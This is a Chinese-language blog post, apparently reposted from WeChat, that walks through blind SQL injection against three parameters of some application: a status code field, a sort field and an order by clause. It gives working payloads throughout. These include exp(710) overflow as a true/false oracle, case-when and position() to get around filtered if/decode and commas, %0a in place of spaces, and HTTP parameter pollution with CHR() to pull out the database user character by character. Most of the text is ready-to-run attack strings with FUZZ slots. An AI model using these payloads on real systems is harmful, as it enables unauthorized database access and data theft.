本文最后更新于 2024年11月10日 晚上
来源:https://mp.weixin.qq.com/s/i92dNJxeOzO--SqZmg4LGA
case when+position绕过
- 找到注入点,statusCode参数,单引号报错
- 使用exp()报错确定注入的存在
1
| '||exp(709)||' # exp(709)没有整数溢出,返回为真,没有报错,返回了正常数据
|
1
| '||exp(710)||' # exp(710)整数溢出,返回为假,报错,返回了异常,确定了注入的存在
|
- 接下来,测试各种函数的可用性,让函数都返回1,从而看是否禁用该函数
if()被禁用
decode()被禁用
case when 也是异常
- 但是经过尝试,其实换个写法就可以了,不写”=”了,成功回显出了正常数据,说明是=出现了问题,但又不是简单地被过滤了,很有可能它有个规则是在一些符号传进去之后会在后面加了一些字符导致语句异常。
1
| '||case 1 when 1 then 1 esle 1 end||' # 返回永真
|
换成exp(710)使得表达式为假,验证一下,成功返回异常,说明case when可用!
1
| '|| case 1 when 2 then 1 else exp(710)||' # 返回为假
|
- 选择盲注,开始测试盲注函数的可用性
1
| '|| case ascii(substr(user,1,1)) when 1 then 1 else 1||' # 返回永真,测试语句是否被禁用
|
结果是被禁用了,但是具体是什么部分被禁用了呢?
- 进一步测试,是哪一部分被禁用了
先换成length函数,单独测试user,返回正常,说明user是没被过滤的
1
| '||case length(user) when 1 then 1 else 1 ||'
|
那么可以先跑user的长度
1
| '||case length(user) when 【FUZZ】 then 1 else exp(710) ||'
|
直接跑出来user为8位
再来单独测试下ascii函数,这里发现没问题
1
| '||case ascii(user) when 1 then 1 else 1 ||'
|
经测试,substr()单独也可用,过滤的是逗号,不是函数
- 于是尝试绕过逗号
1
| substring(user from 1 for 1) # 代表从第一位开始,截取长度为1
|
结果所有逗号绕过都失败了,只能想其他办法
- 继续绕过限制
之前一直以为是orcale数据库,现在怀疑它是PostgreSQL数据库,PostgreSQL有个函数很少会禁: position函数,mysql中也有此函数,这个函数不需要逗号
1 2 3 4
| 这个函数有两个参数,返回的是第一个参数第一次出现在后面的位置 position('sql' in 'postgresql')返回的是8 position('sq' in 'postgresql')返回的也是8 position('p' in 'postgresql')返回的则是1
|
这里返回的就是数字,也不用ascii函数了,最终payload为
1
| '||case position('【FUZZ2】' in user) when 【FUZZ1】 then 1 else exp(720) end||'
|
先固定【FUZZ1】为1,也就是先跑user的第一位是什么字母,去FUZZ【FUZZ2】如果匹配,逻辑会走then 返回1,回显正常数据,反之回显异常,这样就能盲注成功了!
- 接下来就是一位一位的跑,成功得到了user数据!
排序点注入
- 排序点处
- 原有数据包
- 使用case when语句确定注入的存在
1
| case when 1=1 then 1 else exp(710) # 返回1,回显正常
|
1
| case when 1=2 then 1 else exp(710) # 返回exp(710),整数溢出,回显异常
|
经过测试,基本没有什么过滤,那么直接盲注,注出一条数据就行
1
| case when ascii(substr(user,【FUZZ】,1))=【FUZZ】 then 1 else exp(710)
|
order by注入
- 原本数据包,很明显的order by注入
- 这里直接插入一个比较大的数字,ordey by 100,没有这么多列就会报错,说明注入存在
- 因为是有报错回显,这里直接插入updatexml()试下
结果直接被拦截了,主机无响应,其他函数都试了,都是无响应
- 还是得换盲注,首先就是确定哪些判断函数可以用
经过测试,发现很多都过滤了,最终构造如下payload
1
| (case 1 when 1 then 1 else 1 end) asc # 返回1,应该回显正常数据
|
空格被过滤,使用%0a来代替空格,返回数据证明语句没问题
1
| (case%0a1%0awhen%0a1%0athen%0a1%0aelse%0a1%0aend) asc
|
- 接下来就是构造真假条件,控制输出数据
注意!当”then exp(900) else 1”语句中, 如果”else”后面为数字,就不会执行exp(900)这个函数,order by又不能接普通的字符,必须是有效的列名字段,于是else后面改为一个有效的字段
先是换成CREATE_TIME不管条件是否相等都返回数据类型不一致
于是去报错信息中寻找其他有效字段名
1
| (case 1 when 1 then exp(900) else PROVINCE_ID end) asc
|
成功执行了exp(900),返回了数字溢出
所以当case 1 when 2时,就返回按照PROVINCE_ID排序的结果,当case 2 when 2时,会回显异常,条件构造成功!
1
| (case 1 when 2 then exp(900) else PROVINCE_ID end) asc
|
- 下面就可以使用substr()截取user,注出数据了
但是经过测试,过滤了逗号
使用参数污染绕过
1 2 3 4 5
| (case SUBSTRB(USER,1,1) when 1 then exp(900) else PROVINCE_ID end) asc # 原始payload
orderByClause=(case SUBSTRB(USER&orderByClause=1&orderByClause=1) when 1 then exp(900) else PROVINCE_ID end) asc # 参数污染绕过逗号
orderByClause=(case%0aSUBSTRB(USER&orderByClause=1&orderByClause=1)%0awhen%0a1%0athen%0aexp(900)%0aelse%0aPROVINCE_ID%0aend)%0aasc # 参数污染绕过逗号,%0a绕过空格
|
绕过逗号后,结果提示数据类型应该是字符串
只有这个截取函数会返回数据类型不一致,说明when后面的应为字符串
1
| (case SUBSTRB(USER,1,1) when 1 then exp(900) else PROVINCE_ID end) asc
|
尝试直接换成 when ‘a’ 也不行
1
| (case SUBSTRB(USER,1,1) when 'a' then exp(900) else PROVINCE_ID end) asc
|
于是使用chr()函数绕过,when后面不能接普通字符的限制
用CHR(50)代替一下,就是将ascii码为50转成字符串,原始paylaod为
1
| (case SUBSTR(USER,1,1) when CHR(50) then exp(900) else PROVINCE_ID end) asc
|
截取的第一位字符肯定不等于CHR(50),会返回按照PROVINCE_ID排序的数据,回显正常
直接跑第一位,遍历CHR里面的数字,第一位ascii码为88,也就是X
1 2 3
| (case SUBSTR(USER,【FUZZ】,1) when CHR(【FUZZ】) then exp(900) else PROVINCE_ID end) asc
orderByClause=(case%0aSUBSTRB(USER&orderByClause=【FUZZ】&orderByClause=1)%0awhen%0aCHR(【FUZZ】)%0athen%0aexp(900)%0aelse%0aPROVINCE_ID%0aend)%0aasc # 参数污染绕过逗号,%0a绕过空格
|